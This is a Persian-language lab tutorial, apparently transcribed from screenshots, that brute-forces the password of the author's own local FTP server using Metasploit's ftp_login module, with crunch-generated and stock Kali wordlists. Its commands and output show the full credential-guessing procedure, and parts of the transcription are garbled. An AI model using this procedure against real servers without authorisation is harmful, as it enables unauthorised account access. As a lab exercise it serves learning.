با سلام

در این پروژه قصد دارم پسوورد یک سرور ftp رو با msf بروژه قصد دارم پسوورد یک سرور

ابتدا سرور ftp رو راه اندازی میکنم

Server URL ftp://192.168.200.201:2221
Userid abolfazl
Password 123
Anonymous access Disabled
Root folder Photos

ftp server

username: abolfazl

pass: 123 قصد داریم این پسوورد را بدست بیاوریم

Port: 2221

برای این کار از سیستم عامل کالی و فریمورک متا اسپلویت استفاده میکنم

این ابزار به صورت دیفالت روی سیستم عامل کالی نصب میباشد برای استفاده از این ابزار دستور msfconsole را وارد میکنیم

```
byteamykali:~$ msfconsole
[-] ***rting the Metasploit Framework console ... /
[-] * WARNING: No database support: No database YAML file
[-] ***

METASPLOIT CYBER MISSILE COMMAND V5
```

میبینیم که ابزار اجرا میشود و command line را در اختیار شما قرار میدهد <msf5

این framework دارای ابزار های بسیاری است که ما در این پروژه از ابزار ftp\_login استفاده میکنیم

با این دستور این ابزار را فراخوانی میکنیم

Use auxiliary/scanner/ftp/ftp\_login

## msf5 > use auxiliary/scanner/ftp/ftp\_login

پس از فراخوانی این ابزار با دستور show option تمام switch هایی که برای کار با این ابزار لازم است را به ما نمایش میدهد

مثل مشخص کردن host و usernamelist, passwordlist , port و ...

Name	Current Setting	Required	Description 
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the
current database			
DB_ALL_PASS	false	no	Add all passwords in the current database t
the list			
DB_ALL_USERS	false	no	Add all users in the current database to th
e list			
PASSWORD		no	A specific password to authenticate with
PASS_FILE		no	File containing passwords, one per line
Proxies		no	A proxy chain of format type:host:port[,typ
e:host:port][]			
RECORD_GUEST	false	no	Record anonymous/guest logins to the databa
Se BUOCTC			The toward heat(a) warms CIDD identifies
RHOSTS	vntav lfilovanath	yes	The target host(s), range CIDR identifier,
or hosts file with s RPORT	yntax file: <patn 21</patn 		The target port (TCP)
STOP_ON_SUCCESS		yes ves	Stop guessing when a credential works for a
host	Tatse	yes	Stop guessing when a credential works for a
THREADS	1	ves	The number of concurrent threads (max one p
er host)		<del>y</del> c 3	The hamber of concurrence chreads (max one p
USERNAME		no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separat
ed by space, one pai	r per line		Tree containing abers and passwords separat
USER AS PASS	false	no	Try the username as the password for all us

همانطور که در تنظیمات ftp server مشاهده کردید

ip برابر 192.168.200.201 میباشد پس در ابزار ftp\_login هاست رو مشخص میکنیم

با دستور <set RHOSTS <ip or domain

و مشخص کردن port با دستور

Set RPORT <port>

کہ بہ صورت دیفالت یورت 21 ftp است

و username و password که میتوانید برای هر دوی اینها از فایل ها استفاده کنید به این معنا که در یک فایل چندین username و در یک فایل دیگر چندین password قرار دهید و در این ابزار به جای username و password مسیر فایل ها رو معرفی کنید

```
msf5 auxiliary(scanner/ftp/ftp_login) > set rhosts 192.168.200.201
rhosts ⇒ 192.168.200.201
msf5 auxiliary(scanner/ftp/ftp_login) > set rport 2221
rport ⇒ 2221
msf5 auxiliary(scanner/ftp/ftp_login) > set username abolfazl
username ⇒ abolfazl
msf5 auxiliary(scanner/ftp/ftp_login) > set pass
set pass_file set passivemode set password
msf5 auxiliary(scanner/ftp/ftp_login) > set pass_file mypasslist.txt
pass_file ⇒ mypasslist.txt
```

برای ساخت password list میتوانید از ابزار های مختلفی مثل crunch استفاده کنید

> که در ادامه به توضیح آن میپردازیم Install crunch

```
File Actions Edit View Help
    nmykali:~$ sudo apt-get install crunch
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages will be upgraded:
1 upgraded, 0 newly installed, 0 to remove and 1258 not upgraded.
Need to get 30.3 kB of archives.
After this operation, 5,120 B disk space will be freed.
Get:1 http://kali.download/kali kali-last-snapshot/main amd64 crunch amd64 3.6-3 [30.3 kB]
Fetched 30.3 kB in 2s (18.7 kB/s)
(Reading database ... 231016 files and directories currently installed.)
Preparing to unpack .../crunch_3.6-3_amd64.deb ...
Unpacking crunch (3.6-3) over (3.6-2+b1) ...
Setting up crunch (3.6-3) ...
Processing triggers for kali-menu (2020.1.7) ...
Processing triggers for man-db (2.9.0-2) ...
          li:~$
```

## و برای generate کردن password list از این دستور استفاده میکنید

Crunch <min\_length> <max\_length> <Characters\_used> > <saved\_file>

min\_length : کمترین طول پسوورد

max\_length : بیشترین طول پسوورد

Characters\_used : کار اکتر های استفاده شده در پسوورد

saved\_file : فایل متنی که پسوورد ها در آن ذخیره میشوند

```
byte@mykali:~

File Actions Edit View Help

byte@mykali:~$ crunch 1 5 0123456789 > passwordlist

Crunch will now generate the following amount of data: 654320 bytes

0 MB

0 GB

0 TB

0 PB

Crunch will now generate the following number of lines: 111110

byte@mykali:~$
```

همانطور که میبینید 111110 پسوورد تولید کرده و میتوانید از آن استفاده کنید

و یا از wordlist های آماده استفاده کنید

که این wordlist هارو در سیستم عامل کالی میتونید از مسیر های زیر پیدا کنید

```
> Executing "cd /usr/share/wordlists & ls -l"
total 52108
                             25 Nov 25 15:57 dirb → /usr/share/dirb/wordlists
lrwxrwxrwx 1 root root
lrwxrwxrwx 1 root root
                             30 Nov 25 15:57 dirbuster \rightarrow /usr/share/dirbuster/wordlists
lrwxrwxrwx 1 root root
                             41 Nov 25 15:57 fasttrack.txt → /usr/share/set/src/fasttrack/wordlist.txt
                             45 Nov 25 15:57 fern-wifi → /usr/share/fern-wifi-cracker/extras/wordlists
lrwxrwxrwx 1 root root
                             46 Nov 25 15:57 metasploit → /usr/share/metasploit-framework/data/wordlists
lrwxrwxrwx 1 root root
lrwxrwxrwx 1 root root
                             41 Nov 25 15:57 nmap.lst → /usr/share/nmap/nselib/data/passwords.lst
-rw-r--r-- 1 root root 53357329 Jul 17 2019 rockyou.txt.gz
                             25 Nov 25 15:57 wfuzz → /usr/share/wfuzz/wordlist
lrwxrwxrwx 1 root root
          :/usr/share/wordlists$
```

اما ما در این جا از یک فایل پسوورد ساده برای تست استفاده میکنیم حالا که username و password list را به ابزار معرفی کردیم ابزار رو با دستور run اجرا میکنم

```
msf5 auxiliary(scanner/ftp/ftp_login) > run

[*] 192.168.200.201:2221 - 192.168.200.201:2221 - Starting FTP login sweep
[!] 192.168.200.201:2221 - No active DB -- Credential data will not be saved!
[-] 192.168.200.201:2221 - 192.168.200.201:2221 - LOGIN FAILED: abolfazl:231 (Incorrect: )
[-] 192.168.200.201:2221 - 192.168.200.201:2221 - LOGIN FAILED: abolfazl:231 (Incorrect: )
[+] 192.168.200.201:2221 - 192.168.200.201:2221 - Login Successful: abolfazl:123
[*] 192.168.200.201:2221 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ftp/ftp_login) >
```

میبینیم که بعد از امتحان کردن password های داخل password list میبینیم که بعد از امتحان کردن Password ها صحیح رو پیدا میکنه و برمیگردونه میتونید برای username هم از wordlist ها استفاده کنید

پایان